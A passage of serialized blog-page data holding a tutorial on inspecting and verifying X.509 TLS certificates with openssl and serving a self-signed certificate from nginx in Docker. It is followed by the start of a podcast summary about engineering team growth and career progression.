3a:41:6f:b4:1e:4a:9c:1d:f8:80:72:2d:a3:dd:4d:\n...",[],"code_block$e6163a9e-7f27-4010-ad86-90048c73ae64",{"variation":437,"version":438,"items":35681,"primary":35682,"id":35687,"slice_type":468,"slice_label":5},[],{"body":35683},[35684],{"type":25,"text":35685,"spans":35686},"Here you can see the issuer, validity, and algorithm of the public key. Similarly, the private key can be inspected with:",[],"rich_text$ef15abe9-ad07-4e17-8302-fe34bffff62f",{"variation":437,"version":438,"items":35689,"primary":35690,"id":35695,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35691},[35692],{"type":27922,"text":35693,"spans":35694},"$ openssl rsa -in private.key -text\nEnter pass phrase for key.pem:\nPrivate-Key: (4096 bit)\nmodulus:\n    00:ef:f1:21:a1:cb:7e:ee:c9:3d:4c:44:d7:87:10:\n    dc:a1:2e:9d:1f:f4:9a:86:d5:1a:4a:5f:43:0b:7a:\n...",[],"code_block$374b0418-edba-4d64-b298-c872eda9a7cf",{"variation":437,"version":438,"items":35697,"primary":35698,"id":35703,"slice_type":468,"slice_label":5},[],{"body":35699},[35700],{"type":25,"text":35701,"spans":35702},"Checking the private key yields less useful information (for an operator, at least), but you can also check the consistency of the key using:",[],"rich_text$558d8daa-d53d-470b-8dcf-af4a07ec1623",{"variation":437,"version":438,"items":35705,"primary":35706,"id":35711,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35707},[35708],{"type":27922,"text":35709,"spans":35710},"$ openssl rsa -in private.key -check",[],"code_block$c1ea6286-6598-4d9b-b1ff-0a9b07f1df1c",{"variation":437,"version":438,"items":35713,"primary":35714,"id":35733,"slice_type":468,"slice_label":5},[],{"body":35715},[35716,35719,35723,35726,35730],{"type":746,"text":35717,"spans":35718},"Certificate chains",[],{"type":25,"text":35720,"spans":35721},"In order to verify the authenticity of certificates, it's necessary to inspect the issuer (or certificate authority) of a certificate. In the example above, the distinguished name of the issuer is C=UK, L=London, O=Form3, CN=localhost. This distinguished name identifies the certificate authority, who must be trusted in order for the authenticity of a certificate to be verified.",[35722],{"start":3304,"end":3188,"type":765},{"type":25,"text":35724,"spans":35725},"The certificate authority has a root certificate, which is used to generate a signature for each certificate that it issues. Combining the signature of a certificate with the public key of the issuer's root certificate allows a signature to be verified. Sometimes this is as simple as combining the signature\u002Fkey of an issued certificate and a root certificate, and sometimes there are intermediate certificates between the issued certificate you're verifying and the ultimate root certificate. Intermediate certificates are typically also issued by the certificate authority, but with a shorter expiry time. This makes them less vulnerable to compromise, and easy to rotate and revoke.",[],{"type":25,"text":35727,"spans":35728},"On a Linux operating system, a list of root certificates can be found in \u002Fetc\u002Fssl\u002Fcerts. Each certificate authority is represented by its own root certificate, which can be inspected in the same way we inspected the certificate we generated earlier.",[35729],{"start":3089,"end":2224,"type":765},{"type":25,"text":35731,"spans":35732},"For example, inspecting the GoDaddy root certificate looks something like this:",[],"rich_text$7601e06a-593a-4f1b-aff3-7c1200dfa104",{"variation":437,"version":438,"items":35735,"primary":35736,"id":35741,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35737},[35738],{"type":27922,"text":35739,"spans":35740},"$ openssl x509 -in \u002Fetc\u002Fssl\u002Fcerts\u002FGo_Daddy_Root_Certificate_Authority_-_G2.pem -text\nCertificate:\n    Data:\n        Version: 3 (0x2)\n        Serial Number: 0 (0x0)\n        Signature Algorithm: sha256WithRSAEncryption\n        Issuer: C = US, ST = Arizona, L = Scottsdale, O = \"GoDaddy.com, Inc.\", CN = Go Daddy Root Certificate Authority - G2\n        Validity\n            Not Before: Sep  1 00:00:00 2009 GMT\n            Not After : Dec 31 23:59:59 2037 GMT\n        Subject: C = US, ST = Arizona, L = Scottsdale, O = \"GoDaddy.com, Inc.\", CN = Go Daddy Root Certificate Authority - G2\n        Subject Public Key Info:\n            Public Key Algorithm: rsaEncryption\n                RSA Public-Key: (2048 bit)\n                Modulus:\n                    00:bf:71:62:08:f1:fa:59:34:f7:1b:c9:18:a3:f7:\n                    80:49:58:e9:22:83:13:a6:c5:20:43:01:3b:84:f1:\n                    e6:85:49:9f:27:ea:f6:84:1b:4e:a0:b4:db:70:98:\n...",[],"code_block$3d08c7bc-5a08-4603-9789-2dc32744f613",{"variation":437,"version":438,"items":35743,"primary":35744,"id":35749,"slice_type":468,"slice_label":5},[],{"body":35745},[35746],{"type":25,"text":35747,"spans":35748},"We can tell this is a root certificate, because the certificate was used to sign itself. We can verify this self-signed signature as follows:",[],"rich_text$39602d0e-1099-4ba8-9c05-efbef3b2c479",{"variation":437,"version":438,"items":35751,"primary":35752,"id":35757,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35753},[35754],{"type":27922,"text":35755,"spans":35756},"$ openssl verify -CAFile \u002Fetc\u002Fssl\u002Fcerts\u002FGo_Daddy_Root_Certificate_Authority_-_G2.pem \u002Fetc\u002Fssl\u002Fcerts\u002FGo_Daddy_Root_Certificate_Authority_-_G2.pem\n\u002Fetc\u002Fssl\u002Fcerts\u002FGo_Daddy_Root_Certificate_Authority_-_G2.pem: OK",[],"code_block$b3b5724a-4cef-4e62-9338-47390c7262f5",{"variation":437,"version":438,"items":35759,"primary":35760,"id":35765,"slice_type":468,"slice_label":5},[],{"body":35761},[35762],{"type":25,"text":35763,"spans":35764},"Similarly, if we try to verify the issuer signature for the certificate we generated, we get a verification error:",[],"rich_text$9d691099-5681-48c9-b5e2-23733b79861f",{"variation":437,"version":438,"items":35767,"primary":35768,"id":35773,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35769},[35770],{"type":27922,"text":35771,"spans":35772},"$ openssl verify -CAfile \u002Fetc\u002Fssl\u002Fcerts\u002FGo_Daddy_Root_Certificate_Authority_-_G2.pem certificate.pem\nC = UK, L = London, O = Form3\nerror 18 at 0 depth lookup: self signed certificate\nerror certificate.pem: verification failed",[],"code_block$1fe246ec-e005-4ef4-adac-df2a40fa2059",{"variation":437,"version":438,"items":35775,"primary":35776,"id":35793,"slice_type":468,"slice_label":5},[],{"body":35777},[35778,35781,35784,35787],{"type":25,"text":35779,"spans":35780},"This error message indicates that the certificate we generated was \"self-signed\". The GoDaddy root certificate is also self-signed, however this is characteristic of a root certificate. The root certificate is trusted, because it was installed by the operating system. Our certificate is less trustworthy, because we just generated it on the fly.",[],{"type":25,"text":35782,"spans":35783},"TLS certificates in use on the Internet are signed by one of the root certificates installed on your computer, which allows their authenticity to be verified.",[],{"type":25,"text":35785,"spans":35786},"This can be demonstrated by inspecting a certificate of a website protected by TLS, and then verifying it with its root\u002Fissuing certificate.",[],{"type":25,"text":35788,"spans":35789},"The TLS certificate of a website can be inspected by using openssl s_client, which normally expects input from stdin (hence the echo -n |):",[35790,35791,35792],{"start":592,"end":2651,"type":765},{"start":3971,"end":19148,"type":765},{"start":3294,"end":9205,"type":765},"rich_text$0f70de42-6c89-488d-b6ec-797914038efa",{"variation":437,"version":438,"items":35795,"primary":35796,"id":35801,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35797},[35798],{"type":27922,"text":35799,"spans":35800},"$ echo -n | openssl s_client -connect www.google.com:443\nCONNECTED(00000004)\ndepth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1\nverify return:1\ndepth=1 C = US, O = Google Trust Services LLC, CN = GTS CA 1C3\nverify return:1\ndepth=0 CN = www.google.com\nverify return:1\n---\nCertificate chain\n 0 s:CN = www.google.com\n   i:C = US, O = Google Trust Services LLC, CN = GTS CA 1C3\n 1 s:C = US, O = Google Trust Services LLC, CN = GTS CA 1C3\n   i:C = US, O = Google Trust Services LLC, CN = GTS Root R1\n 2 s:C = US, O = Google Trust Services LLC, CN = GTS Root R1\n   i:C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA\n---\nServer certificate\n-----BEGIN CERTIFICATE-----\nMIIEiTCCA3GgAwIBAgIRALC2MC4uIPl4CoGx9rjcnsMwDQYJKoZIhvcNAQELBQAw\nRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBM \n...\n vkJEyzGxWYiIzgWHYQ==\n-----END CERTIFICATE-----\nsubject=CN = www.google.com\n\nissuer=C = US, O = Google Trust Services LLC, CN = GTS CA 1C3\n\n---\nNo client certificate CA names sent\nPeer signing digest: SHA256\nPeer signature type: ECDSA\nServer Temp Key: X25519, 253 bits\n---\nSSL handshake has read 4297 bytes and written 386 bytes\nVerification: OK\n---\nNew, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384\nServer public key is 256 bit\nSecure Renegotiation IS NOT supported\nCompression: NONE\nExpansion: NONE\nNo ALPN negotiated\nEarly data was not sent\nVerify return code: 0 (ok)\n---\nDONE",[],"code_block$4c17c52d-c080-4773-8ef7-4b565d4ddd11",{"variation":437,"version":438,"items":35803,"primary":35804,"id":35813,"slice_type":468,"slice_label":5},[],{"body":35805},[35806,35810],{"type":25,"text":35807,"spans":35808},"Note that the Common Name of this certificate was google.com, indicating that this certificate can only be used to encrypt traffic to this domain name. Even if the certificate is verified as authentic, it cannot be used to serve TLS traffic from any other domain in a trusted capacity.",[35809],{"start":2971,"end":685,"type":765},{"type":25,"text":35811,"spans":35812},"A certificate file can be generated for verification with:",[],"rich_text$75b0ad57-4efd-47c1-a46d-0ca9bb6d77b6",{"variation":437,"version":438,"items":35815,"primary":35816,"id":35821,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35817},[35818],{"type":27922,"text":35819,"spans":35820},"$ echo -n | openssl s_client -connect www.google.com:443 | openssl x509 > google.pem",[],"code_block$8cbd3b58-4004-4a0a-b31c-865e3190a2ef",{"variation":437,"version":438,"items":35823,"primary":35824,"id":35835,"slice_type":468,"slice_label":5},[],{"body":35825},[35826,35831],{"type":25,"text":35827,"spans":35828},"If you inspect this certificate (openssl x509 -in google.pem -text), you will see that this certificate was issued by \"Google Trust Services\". A quick search of your root certificate directory (cat \u002Fetc\u002Fssl\u002Fcerts | grep google) will show that Google Trust Services is not a root certificate authority. This means that there is a chain of issuing certificates between the one in use at google.com and the certificate authority that signed the first certificate in the chain.",[35829,35830],{"start":9077,"end":14740,"type":765},{"start":24940,"end":4142,"type":765},{"type":25,"text":35832,"spans":35833},"We can download the certificate chain separately using openssl as follows:",[35834],{"start":3853,"end":1029,"type":765},"rich_text$d87e61fe-0927-4254-b295-a49bcf933c4c",{"variation":437,"version":438,"items":35837,"primary":35838,"id":35843,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35839},[35840],{"type":27922,"text":35841,"spans":35842},"$ echo -n | openssl s_client -connect www.google.com:443 -showcerts > google-chain.pem",[],"code_block$ff45fef7-1e7e-416c-b3aa-12e0b2fd0751",{"variation":437,"version":438,"items":35845,"primary":35846,"id":35851,"slice_type":468,"slice_label":5},[],{"body":35847},[35848],{"type":25,"text":35849,"spans":35850},"The original certificate can then be manually verified against its root certificate via the certificate chain with:",[],"rich_text$6bf94bf2-78d8-42b1-b65c-a7f890f88beb",{"variation":437,"version":438,"items":35853,"primary":35854,"id":35859,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35855},[35856],{"type":27922,"text":35857,"spans":35858},"$ openssl verify -CAfile google-chain.pem google.pem\ngoogle.pem: OK",[],"code_block$1424d266-83c6-4340-a9f0-74902d8c7819",{"variation":437,"version":438,"items":35861,"primary":35862,"id":35867,"slice_type":468,"slice_label":5},[],{"body":35863},[35864],{"type":25,"text":35865,"spans":35866},"The verification of Google's certificate against the root certificate installed in your operating system demonstrates the difference in trust between the public certificates in use on the Internet for TLS, and the self-signed certificates you might generate locally. The fact that the certificates in use online can be verified against known certificates on your computer demonstrates that they have been issued to a trustworthy server.",[],"rich_text$5d07d717-304b-40c7-b578-919bae23c0a1",{"variation":437,"version":438,"items":35869,"primary":35870,"id":35879,"slice_type":468,"slice_label":5},[],{"body":35871},[35872,35875],{"type":746,"text":35873,"spans":35874},"TLS vs. SSH certificates",[],{"type":25,"text":35876,"spans":35877},"According to man ssh-keygen, the certificates used for SSH are a different, and much more simple, format than X.509 certificates used for TLS. SSH certificates are used in a similar way to the X.509 certificates used in TLS: they consist of public and private keys, but the format is different to the certificates described in this post.",[35878],{"start":1951,"end":3485,"type":765},"rich_text$3e073ed7-c4a8-4240-b93f-7d3d23b8396f",{"variation":437,"version":438,"items":35881,"primary":35882,"id":35894,"slice_type":468,"slice_label":5},[],{"body":35883},[35884,35887,35891],{"type":746,"text":35885,"spans":35886},"Example: TLS for HTTPS web servers",[],{"type":25,"text":35888,"spans":35889},"When you connect to a server that offers TLS, the server will be configured to send you its public certificate and will encrypt data with its private key. I'm not going to delve into the details of how TLS works here, but instead demonstrate how you might configure a simple web server with the materials it needs to make TLS possible. I'll be using nginx running in a Docker container to provide a small example.",[35890],{"start":5586,"end":13609,"type":765},{"type":25,"text":35892,"spans":35893},"First of all, we'll need some static content to serve as our web page:",[],"rich_text$10d9c365-2391-4a42-84d1-7ecc3fcfecd1",{"variation":437,"version":438,"items":35896,"primary":35897,"id":35902,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35898},[35899],{"type":27922,"text":35900,"spans":35901},"$ cat \u003C\u003C EOF > index.html\nHello world!\n\nThis web page is protected using TLS!\nEOF",[],"code_block$1a77248f-6e8a-463a-8806-71e8b08ae1d5",{"variation":437,"version":438,"items":35904,"primary":35905,"id":35911,"slice_type":468,"slice_label":5},[],{"body":35906},[35907],{"type":25,"text":35908,"spans":35909},"Next, we'll need to configure an nginx server to serve this web page:",[35910],{"start":9077,"end":11705,"type":765},"rich_text$d8bcb2ac-7f46-47ca-9485-700fa3980761",{"variation":437,"version":438,"items":35913,"primary":35914,"id":35919,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35915},[35916],{"type":27922,"text":35917,"spans":35918},"$ cat \u003C\u003C EOF > nginx.conf\nevents {}\nhttp {\n    server {\n        root \u002Fwww\u002F;\n        location \u002F {}\n    }\n}\nEOF",[],"code_block$f5385629-999f-4323-89c5-eab29a2a6b18",{"variation":437,"version":438,"items":35921,"primary":35922,"id":35928,"slice_type":468,"slice_label":5},[],{"body":35923},[35924],{"type":25,"text":35925,"spans":35926},"Then, we can package nginx with our web page and config as follows:",[35927],{"start":703,"end":5574,"type":765},"rich_text$653218c4-3109-43e7-bca1-9fa8f1ca0b69",{"variation":437,"version":438,"items":35930,"primary":35931,"id":35936,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35932},[35933],{"type":27922,"text":35934,"spans":35935},"$ cat \u003C\u003C EOF > Dockerfile\nFROM nginx\nCOPY index.html \u002Fwww\u002Findex.html\nCOPY nginx.conf \u002Fetc\u002Fnginx\u002Fnginx.conf\nEOF",[],"code_block$41f183ba-86ed-43ec-9bb3-e809ff92ad94",{"variation":437,"version":438,"items":35938,"primary":35939,"id":35944,"slice_type":468,"slice_label":5},[],{"body":35940},[35941],{"type":25,"text":35942,"spans":35943},"Now, we can build and run this image with:",[],"rich_text$bf97c58d-2282-45f7-9c68-7ef6c006539a",{"variation":437,"version":438,"items":35946,"primary":35947,"id":35952,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35948},[35949],{"type":27922,"text":35950,"spans":35951},"$ docker build -t nginx-tls .\n$ docker run -p 8080:80 nginx-tls",[],"code_block$c0b20039-8a8e-4274-b516-8463e638f488",{"variation":437,"version":438,"items":35954,"primary":35955,"id":35960,"slice_type":468,"slice_label":5},[],{"body":35956},[35957],{"type":25,"text":35958,"spans":35959},"OK, now we can test our server by making a web request:",[],"rich_text$a7a591e1-23ab-4de4-bc5a-2cff2a213c8a",{"variation":437,"version":438,"items":35962,"primary":35963,"id":35968,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35964},[35965],{"type":27922,"text":35966,"spans":35967},"$ curl localhost:8080\u002F\nHello world!\n\nThis web page is protected using TLS!",[],"code_block$fd928293-97b8-4f32-b0aa-d2bec80f6dff",{"variation":437,"version":438,"items":35970,"primary":35971,"id":35977,"slice_type":468,"slice_label":5},[],{"body":35972},[35973],{"type":25,"text":35974,"spans":35975},"Now that we've got a functioning web server, we can try to add TLS to it. The first thing to do is to update the nginx configuration with TLS details:",[35976],{"start":2055,"end":3402,"type":765},"rich_text$aa4849bd-20d0-488f-adfa-4fb9acd63064",{"variation":437,"version":438,"items":35979,"primary":35980,"id":35985,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35981},[35982],{"type":27922,"text":35983,"spans":35984},"$ cat \u003C\u003C EOF > nginx.conf\nevents {}\nhttp {\n    server {\n        root \u002Fwww\u002F;\n        location \u002F {}\n\n        listen 443 ssl;\n        ssl_certificate certificate.pem;\n        ssl_certificate_key private.key;\n    }\n}\nEOF",[],"code_block$38cdd91f-20b8-48ad-bf97-a56bbc0a8d8c",{"variation":437,"version":438,"items":35987,"primary":35988,"id":35993,"slice_type":468,"slice_label":5},[],{"body":35989},[35990],{"type":25,"text":35974,"spans":35991},[35992],{"start":2055,"end":3402,"type":765},"rich_text$af934ad8-f608-4ac1-8b9c-c938a0ad008c",{"variation":437,"version":438,"items":35995,"primary":35996,"id":36000,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35997},[35998],{"type":27922,"text":35983,"spans":35999},[],"code_block$2a12fe5b-9f20-43e0-82d4-a3dce67408d9",{"variation":437,"version":438,"items":36002,"primary":36003,"id":36009,"slice_type":468,"slice_label":5},[],{"body":36004},[36005],{"type":25,"text":36006,"spans":36007},"This configuration uses the certificates we generated earlier. To re-cap, we generated these files using openssl:",[36008],{"start":3092,"end":12805,"type":765},"rich_text$77937f64-6fe0-4ebc-98a1-38248e55144e",{"variation":437,"version":438,"items":36011,"primary":36012,"id":36016,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":36013},[36014],{"type":27922,"text":35595,"spans":36015},[],"code_block$82a8fbe7-2a1b-42f6-a3e1-b43d55f7b20c",{"variation":437,"version":438,"items":36018,"primary":36019,"id":36024,"slice_type":468,"slice_label":5},[],{"body":36020},[36021],{"type":25,"text":36022,"spans":36023},"The certificate files will also need to be present in the Dockerfile:",[],"rich_text$24d7b7a6-57b5-4b2a-8c03-d5d49a0a5a3d",{"variation":437,"version":438,"items":36026,"primary":36027,"id":36032,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":36028},[36029],{"type":27922,"text":36030,"spans":36031},"$ cat \u003C\u003C EOF > Dockerfile\nFROM nginx\nCOPY index.html \u002Fwww\u002Findex.html\nCOPY nginx.conf \u002Fetc\u002Fnginx\u002Fnginx.conf\nCOPY *.pem \u002Fetc\u002Fnginx\u002F\nCOPY *.key \u002Fetc\u002Fnginx\u002F\nEOF",[],"code_block$44e9c84d-15c5-4a29-a9ba-31e40cf57ca4",{"variation":437,"version":438,"items":36034,"primary":36035,"id":36040,"slice_type":468,"slice_label":5},[],{"body":36036},[36037],{"type":25,"text":36038,"spans":36039},"We can then build and run the container in a similar way to before:",[],"rich_text$b7b7fce5-d5dd-473f-bd17-3083d1b99ead",{"variation":437,"version":438,"items":36042,"primary":36043,"id":36048,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":36044},[36045],{"type":27922,"text":36046,"spans":36047},"$ docker build -t nginx-tls --no-cache .\n$ docker run -p 8080:443 nginx-tls",[],"code_block$ddd52867-df4a-4b6a-a7da-0abe6fbbb64a",{"variation":437,"version":438,"items":36050,"primary":36051,"id":36056,"slice_type":468,"slice_label":5},[],{"body":36052},[36053],{"type":25,"text":36054,"spans":36055},"Now, if we try to get the webpage via HTTP, it fails:",[],"rich_text$9e72017f-0b1f-431c-b317-a15886a83355",{"variation":437,"version":438,"items":36058,"primary":36059,"id":36064,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":36060},[36061],{"type":27922,"text":36062,"spans":36063},"$ curl localhost:8080\n\u003Chtml>\n\u003Chead>\u003Ctitle>400 The plain HTTP request was sent to HTTPS port\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ccenter>\u003Ch1>400 Bad Request\u003C\u002Fh1>\u003C\u002Fcenter>\n\u003Ccenter>The plain HTTP request was sent to HTTPS port\u003C\u002Fcenter>\n\u003Chr>\u003Ccenter>nginx\u002F1.21.6\u003C\u002Fcenter>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>",[],"code_block$63b4af79-842e-41d6-b80c-8b179af42009",{"variation":437,"version":438,"items":36066,"primary":36067,"id":36072,"slice_type":468,"slice_label":5},[],{"body":36068},[36069],{"type":25,"text":36070,"spans":36071},"And, if we try to get the webpage via HTTPS, it also fails:",[],"rich_text$0feafa2a-38b8-4608-8d05-d668f3cd049e",{"variation":437,"version":438,"items":36074,"primary":36075,"id":36080,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":36076},[36077],{"type":27922,"text":36078,"spans":36079},"$ curl https:\u002F\u002Flocalhost:8080\ncurl: (60) SSL certificate problem: self signed certificate\nMore details here: https:\u002F\u002Fcurl.haxx.se\u002Fdocs\u002Fsslcerts.html\n\ncurl failed to verify the legitimacy of the server and therefore could not\nestablish a secure connection to it. To learn more about this situation and\nhow to fix it, please visit the web page mentioned above.",[],"code_block$349328f0-67f5-4231-b7e2-c21ffd34c733",{"variation":437,"version":438,"items":36082,"primary":36083,"id":36092,"slice_type":468,"slice_label":5},[],{"body":36084},[36085],{"type":25,"text":36086,"spans":36087},"This is because we're using a self-signed certificate. Web browsers, curl, and most HTTP clients will fail if you try to make requests over TLS and the server presents a self-signed certificate. In this case, there's no way to know if you can trust the server or not. However, if we try again and tell curl to ignore self-signed certificates (-k), we are successful:",[36088,36089,36091],{"start":3397,"end":3089,"type":765},{"start":36090,"end":18656,"type":765},302,{"start":13604,"end":31005,"type":765},"rich_text$ba55391a-1b4f-499e-bfb5-7465b225f318",{"variation":437,"version":438,"items":36094,"primary":36095,"id":36100,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":36096},[36097],{"type":27922,"text":36098,"spans":36099},"$ curl https:\u002F\u002Flocalhost:8080 -k\nHello world!\n\nThis web page is protected using TLS!",[],"code_block$a9260829-3db2-4386-bae5-4b6767474ba9",{"variation":437,"version":438,"items":36102,"primary":36103,"id":36110,"slice_type":468,"slice_label":5},[],{"body":36104},[36105],{"type":25,"text":36106,"spans":36107},"If you were working with self-signed certificates regularly, or with a private certificate authority whose root certificates aren't installed automatically, it is possible to import custom root certificates into your system's list of trusted certificates. Doing so would mean that clients like curl would recognise the authenticity of your certificate, rather than failing to verify its signature.",[36108],{"start":36109,"end":29412,"type":765},294,"rich_text$7e28ade1-9719-40ed-9775-aad2f4de7193",{"variation":437,"version":438,"items":36112,"primary":36113,"id":36128,"slice_type":468,"slice_label":5},[],{"body":36114},[36115,36117,36125],{"type":746,"text":29076,"spans":36116},[],{"type":25,"text":36118,"spans":36119},"So there you have it! Most TLS certificates are X.509 certificates, and whether you see them in *.pem, *.crt, or *.key files they're all likely to be in the same format. Certificates can be generated, inspected, and verified using the openssl command, and this applies to both self-signed certificates you might generate for testing, as well as certificates signed by a trusted certificate authority. Using X.509 certificates for TLS on web servers is relatively straightforward, and easy to configure in server applications like nginx.",[36120,36121,36122,36123],{"start":5328,"end":1481,"type":765},{"start":4073,"end":19534,"type":765},{"start":2055,"end":4178,"type":765},{"start":36124,"end":32828,"type":765},530,{"type":25,"text":36126,"spans":36127},"I hope you've found this post useful, and walk away from it slightly less confounded than I was when I started writing it!",[],"rich_text$3e1cb051-fba6-4447-8598-f6151f31c73d",{"id":36130,"uid":36131,"type":25949,"data":36132},"alz1FxEAACgAUWfU","podcast-careers-engineering",{"title":36133,"excerpt":36134,"card_image":36135,"published_date":36140,"reading_time":4603,"tag":25960,"dek":36134,"featured_image":36141,"about_form3":36146,"client_about_heading":5,"client_about_body":36147,"author_name":18970,"author_title":18971,"author_photo":36148,"author_bio":36151,"author_linkedin":36154,"slices":36156,"meta_title":36133,"meta_description":36134},".tech Podcast - Careers in Engineering","Sally Goble, Engineering Manager at accuRx, joins us to tell us all about growing engineering teams, how to support engineering career progression, as well as the importance of salary transparency.",{"dimensions":36136,"alt":36133,"copyright":5,"url":36137,"id":36138,"edit":36139},{"width":412,"height":412},"\u002F_prismic-media\u002Fcff6721cc46e903e-9HztM7Ux7k_ZGhQD_podcast-careers-engineering.png","9HztM7Ux7k_ZGhQD",{"x":398,"y":398,"zoom":399,"background":400},"2022-05-27",{"dimensions":36142,"alt":5,"copyright":5,"url":36143,"id":36144,"edit":36145},{"width":501,"height":33951},"\u002F_prismic-media\u002F0e8c7dc0336bcdd8-h1jS32PYZjEGQi9z_24cdf852-b4b9-4615-ad6c-0a87858.png","h1jS32PYZjEGQi9z",{"x":398,"y":398,"zoom":399,"background":400},[],[],{"dimensions":36149,"alt":18970,"copyright":5,"url":25966,"id":25967,"edit":36150},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":650},[36152],{"type":25,"text":25971,"spans":36153},[],{"link_type":491,"key":36155,"url":25975,"target":493},"7de295e8-eb9c-40c0-836c-3c96982e3511",[36157,36171,36191,36214,36239],{"variation":437,"version":438,"items":36158,"primary":36159,"id":36170,"slice_type":468,"slice_label":5},[],{"body":36160},[36161],{"type":25,"text":36162,"spans":36163},"Sally Goble is an Engineering Manager at accuRx. She has been with accuRx for about 6 months. Previously, she has worked at various start ups and scale ups including Deliveroo and The Guardian.",[36164,36167],{"start":398,"end":602,"type":489,"data":36165},{"link_type":491,"url":36166},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fsally-goble-07370a4\u002F",{"start":1977,"end":9251,"type":489,"data":36168},{"link_type":491,"url":36169},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Faccurx\u002F","rich_text$12967303-f8fe-4613-a160-9cdc41f8b95a",{"variation":437,"version":527,"items":36172,"primary":36173,"id":36190,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":36174,"body":36178,"cta_label":10704,"cta_link":36181,"aside_type":5,"aside_image":36184,"aside_video":36185,"aside_video_poster":36186,"aside_video_reduced_motion":36187,"aside_video_url":5,"aside_embed":36188,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":36189,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[36175],{"type":746,"text":36176,"spans":36177},"Ep 32 .tech - Careers in Engineering",[],[36179],{"type":25,"text":10702,"spans":36180},[],{"link_type":491,"key":36182,"url":36183},"9b40ba9c-5487-41f9-a643-574f826045a9","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-32-tech-careers-in-engineering-f_W4wpEN",{},{"link_type":536},{},{},{},{"link_type":542},"content_block$120472bb-cf69-4658-ad54-2325b9c6819d",{"variation":437,"version":438,"items":36192,"primary":36193,"id":36213,"slice_type":468,"slice_label":5},[],{"body":36194},[36195,36198,36201,36204,36207],{"type":746,"text":36196,"spans":36197},"Growing engineering teams",[],{"type":25,"text":36199,"spans":36200},"When it comes to scaling engineering teams, it's important to get a balance between engineers at different levels. At small companies, it's important to have engineers who are able to execute quickly and deliver value. As the engineering team grows, it becomes more important to have a diverse team with different skills.",[],{"type":25,"text":36202,"spans":36203},"In a high growth company, you have to be very deliberate you don't fall into the common traps of hiring lots of junior engineers who don't have anyone to support them or hiring lots of engineers without any managers to guide them. Be very conscious to hire people that suit the scale of the company.",[],{"type":25,"text":36205,"spans":36206},"Senior engineers grow by mentoring less experienced engineers, so it's important to have a good mentorship scheme, either formal or informal. Teams should be made of a mix of experience, skills and seniority, so that everyone can have a good ecosystem to work in.",[],{"type":25,"text":36208,"spans":36209},"When it comes to team size, Sally recommends the classic \"pizza size\" team of 3-4 engineers to be efficient and lean. Organisationally, these smaller teams are organised into clans at accuRx of about 4-5 teams. These clans have ownership of a particular area of the business.",[36210],{"start":10862,"end":7016,"type":489,"data":36211},{"link_type":491,"url":36212},"https:\u002F\u002Fwww.notion.so\u002FValues-how-we-work-a9de3e3d187b4cad8fb4f2db0adc55cf","rich_text$1bd14d2e-eb25-4f8b-a952-326440b6e6d2",{"variation":437,"version":438,"items":36215,"primary":36216,"id":36238,"slice_type":468,"slice_label":5},[],{"body":36217},[36218,36221,36224,36227,36230,36235],{"type":746,"text":36219,"spans":36220},"Career progression",[],{"type":25,"text":36222,"spans":36223},"Career paths should be available for everyone in the company. There should be a balance between hiring externally and promoting internally for positions of leadership in the company.",[],{"type":25,"text":36225,"spans":36226},"It's a challenge to come in at a very senior level, assimilate quickly and start making a lot of impact. It is also challenging for the company to assess whether they have made the impact during the very short probation periods, as delivering big important changes takes time. At Form3, we choose to promote internally only to give people the opportunity to grow and retain them for a longer time.",[],{"type":25,"text":36228,"spans":36229},"When it comes to career pathways, there is often the expectation to start out in engineering and then step into engineering management, as that was the only way to \"do well\". Now, senior individual contributors (ICs) are seen to be equal to management positions and have an equal seat at the table. It's great to have two separate career paths for engineering and management, with Tech Lead positions sitting somewhere in between.",[],{"type":25,"text":36231,"spans":36232},"At accuRx, engineering managers are hands off technical delivery and direction, giving autonomy and ownership to the engineering team. Tech Leads and Product Managers partner to deliver the features and difficult work. Engineering managers take care of engineering clans, ensuring that engineerings have career support, mentoring and guidance available to them. The relationship between engineering managers is long term, ensuring that engineers don't change managers once they change team.",[36233],{"start":2224,"end":12974,"type":489,"data":36234},{"link_type":491,"url":36212},{"type":25,"text":36236,"spans":36237},"One-to-ones are very important when it comes to checking in with the engineers. Sally finds that weekly one-to-ones are a vital part of keeping engineers happy and she always makes time for them.",[],"rich_text$92a42097-ba59-4086-a038-9eed3a85c20e",{"variation":437,"version":438,"items":36240,"primary":36241,"id":36258,"slice_type":468,"slice_label":5},[],{"body":36242},[36243,36246,36252,36255],{"type":746,"text":36244,"spans":36245},"Salary 